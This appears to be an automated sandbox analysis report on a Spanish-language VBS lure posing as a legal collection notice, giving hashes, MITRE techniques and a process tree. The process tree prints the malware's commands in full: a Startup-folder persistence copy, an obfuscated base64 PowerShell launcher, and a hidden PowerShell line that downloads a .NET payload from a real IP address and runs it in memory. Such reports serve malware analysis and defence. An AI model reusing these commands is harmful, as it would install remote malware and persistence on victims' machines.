fffd645e0ed3e653627764842ea17cb464bae80ef48ddb3dbe54d1eddf6b1bb9

General

Target

Aviso_importante_para_dar_mejor_aclaración_del_cobro_jurídico_ver.vbs
Size

151KB
MD5

375043101c2b371e5db90b0abdb0379d
SHA1

8ca125b715a2f166ae8d24c87264f9beb4ddda6b
SHA256

fffd645e0ed3e653627764842ea17cb464bae80ef48ddb3dbe54d1eddf6b1bb9
SHA512

582ad71b82c9fd666a5c26738264aded5d226e1a2417f30e55f4b258c3c111caf18b15dcf9d0ffb48c1fa96a996a845cd9e64357925b0f29939252085d6ff416

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.241.19.49/ramdes/DownloaderF3.txt

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1148 powershell.exe

flow	pid	process
4	1148	powershell.exe

Drops startup file 2 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ RRQ.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ RRQ.vbs	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

384 PING.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

640 powershell.exe
1156 powershell.exe
1148 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 640 powershell.exe
Token: SeDebugPrivilege 1156 powershell.exe
Token: SeDebugPrivilege 1148 powershell.exe

pid	process
384	PING.EXE

pid	process
640	powershell.exe
1156	powershell.exe
1148	powershell.exe

description	pid	process
Token: SeDebugPrivilege	640	powershell.exe
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.execmd.exepowershell.exe

description	pid	process	target process
PID 1068 wrote to memory of 464	1068	WScript.exe	cmd.exe
PID 1068 wrote to memory of 464	1068	WScript.exe	cmd.exe
PID 1068 wrote to memory of 464	1068	WScript.exe	cmd.exe
PID 464 wrote to memory of 384	464	cmd.exe	PING.EXE
PID 464 wrote to memory of 384	464	cmd.exe	PING.EXE
PID 464 wrote to memory of 384	464	cmd.exe	PING.EXE
PID 464 wrote to memory of 640	464	cmd.exe	powershell.exe
PID 464 wrote to memory of 640	464	cmd.exe	powershell.exe
PID 464 wrote to memory of 640	464	cmd.exe	powershell.exe
PID 1068 wrote to memory of 1156	1068	WScript.exe	powershell.exe
PID 1068 wrote to memory of 1156	1068	WScript.exe	powershell.exe
PID 1068 wrote to memory of 1156	1068	WScript.exe	powershell.exe
PID 1156 wrote to memory of 1148	1156	powershell.exe	powershell.exe
PID 1156 wrote to memory of 1148	1156	powershell.exe	powershell.exe
PID 1156 wrote to memory of 1148	1156	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Aviso_importante_para_dar_mejor_aclaración_del_cobro_jurídico_ver.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1068

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Aviso_importante_para_dar_mejor_aclaración_del_cobro_jurídico_ver.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ RRQ.vbs')
2⤵
- Suspicious use of WriteProcessMemory
PID:464

C:\Windows\system32\PING.EXE
ping 127.0.0.1 -n 10
3⤵
- Runs ping.exe
PID:384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\Aviso_importante_para_dar_mejor_aclaración_del_cobro_jurídico_ver.vbs','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ RRQ.vbs')
3⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC☙Hk☙d☙Bl☙Fs☙XQBd☙C☙☙J☙BE☙Ew☙T☙☙g☙D0☙I☙Bb☙FM☙eQBz☙HQ☙ZQBt☙C4☙QwBv☙G4☙dgBl☙HI☙d☙Bd☙Do☙OgBG☙HI☙bwBt☙EI☙YQBz☙GU☙Ng☙0☙FM☙d☙By☙Gk☙bgBn☙Cg☙K☙BO☙GU☙dw☙t☙E8☙YgBq☙GU☙YwB0☙C☙☙TgBl☙HQ☙LgBX☙GU☙YgBD☙Gw☙aQBl☙G4☙d☙☙p☙C4☙R☙Bv☙Hc☙bgBs☙G8☙YQBk☙FM☙d☙By☙Gk☙bgBn☙Cg☙JwBo☙HQ☙d☙Bw☙Do☙Lw☙v☙Dk☙MQ☙u☙DI☙N☙☙x☙C4☙MQ☙5☙C4☙N☙☙5☙C8☙cgBh☙G0☙Z☙Bl☙HM☙LwBE☙G8☙dwBu☙Gw☙bwBh☙GQ☙ZQBy☙EY☙Mw☙u☙HQ☙e☙B0☙Cc☙KQ☙p☙Ds☙WwBT☙Hk☙cwB0☙GU☙bQ☙u☙EE☙c☙Bw☙EQ☙bwBt☙GE☙aQBu☙F0☙Og☙6☙EM☙dQBy☙HI☙ZQBu☙HQ☙R☙Bv☙G0☙YQBp☙G4☙LgBM☙G8☙YQBk☙Cg☙J☙BE☙Ew☙T☙☙p☙C4☙RwBl☙HQ☙V☙B5☙H☙☙ZQ☙o☙Cc☙QwBs☙GE☙cwBz☙Ew☙aQBi☙HI☙YQBy☙Hk☙Mw☙u☙EM☙b☙Bh☙HM☙cw☙x☙Cc☙KQ☙u☙Ec☙ZQB0☙E0☙ZQB0☙Gg☙bwBk☙Cg☙JwBS☙HU☙bg☙n☙Ck☙LgBJ☙G4☙dgBv☙Gs☙ZQ☙o☙CQ☙bgB1☙Gw☙b☙☙s☙C☙☙WwBv☙GI☙agBl☙GM☙d☙Bb☙F0☙XQ☙g☙Cg☙JwB0☙Hg☙d☙☙u☙DQ☙cwBu☙C8☙d☙Bz☙GU☙d☙☙v☙Dk☙N☙☙u☙Dk☙MQ☙u☙DE☙N☙☙y☙C4☙MQ☙5☙C8☙Lw☙6☙H☙☙d☙B0☙Gg☙Jw☙p☙Ck☙';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $Codigo.replace('☙','A') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1156

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://91.241.19.49/ramdes/DownloaderF3.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('ClassLibrary3.Class1').GetMethod('Run').Invoke($null, [object[]] ('txt.4sn/tset/94.91.142.19//:ptth'))"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1148

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
d89aca5f4591e1e46e82f7d1d8fbceae

SHA1
8b454e6f4ebea813b4f41d23b257b493cdc9c3c0

SHA256
50c2b1115020547d9e96e69607c3d2352730f0675eb20ade7e39f1a091302ad2

SHA512
14e662f67fc2f22435d64b110d63d8d741566cc197a80b1acb29e16390af240061461b03332f6eeb9b30fef6aacf6d9574729d5aa6d0ae391b2f926dfdfccfc5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
d89aca5f4591e1e46e82f7d1d8fbceae

SHA1
8b454e6f4ebea813b4f41d23b257b493cdc9c3c0

SHA256
50c2b1115020547d9e96e69607c3d2352730f0675eb20ade7e39f1a091302ad2

SHA512
14e662f67fc2f22435d64b110d63d8d741566cc197a80b1acb29e16390af240061461b03332f6eeb9b30fef6aacf6d9574729d5aa6d0ae391b2f926dfdfccfc5

Download Submit
memory/384-56-0x0000000000000000-mapping.dmp

Download
memory/464-55-0x0000000000000000-mapping.dmp

Download
memory/640-67-0x000000000247B000-0x000000000249A000-memory.dmp

Filesize
124KB

Download
memory/640-57-0x0000000000000000-mapping.dmp

Download
memory/640-62-0x0000000002474000-0x0000000002477000-memory.dmp

Filesize
12KB

Download
memory/640-61-0x0000000002472000-0x0000000002474000-memory.dmp

Filesize
8KB

Download
memory/640-60-0x0000000002470000-0x0000000002472000-memory.dmp

Filesize
8KB

Download
memory/640-59-0x000007FEF2660000-0x000007FEF31BD000-memory.dmp

Filesize
11.4MB

Download
memory/1068-54-0x000007FEFB591000-0x000007FEFB593000-memory.dmp

Filesize
8KB

Download
memory/1148-71-0x0000000000000000-mapping.dmp

Download
memory/1148-74-0x000007FEF1CC0000-0x000007FEF281D000-memory.dmp

Filesize
11.4MB

Download
memory/1148-76-0x00000000025C0000-0x00000000025C2000-memory.dmp

Filesize
8KB

Download
memory/1148-77-0x00000000025C2000-0x00000000025C4000-memory.dmp

Filesize
8KB

Download
memory/1148-78-0x00000000025C4000-0x00000000025C7000-memory.dmp

Filesize
12KB

Download
memory/1148-79-0x00000000025CB000-0x00000000025EA000-memory.dmp

Filesize
124KB

Download
memory/1156-68-0x0000000002320000-0x0000000002322000-memory.dmp

Filesize
8KB

Download
memory/1156-69-0x0000000002322000-0x0000000002324000-memory.dmp

Filesize
8KB

Download
memory/1156-70-0x0000000002324000-0x0000000002327000-memory.dmp

Filesize
12KB

Download
memory/1156-66-0x000007FEF1CC0000-0x000007FEF281D000-memory.dmp

Filesize
11.4MB

Download
memory/1156-63-0x0000000000000000-mapping.dmp

Download
memory/1156-75-0x000000000232B000-0x000000000234A000-memory.dmp

Filesize
124KB

Download

Analysis

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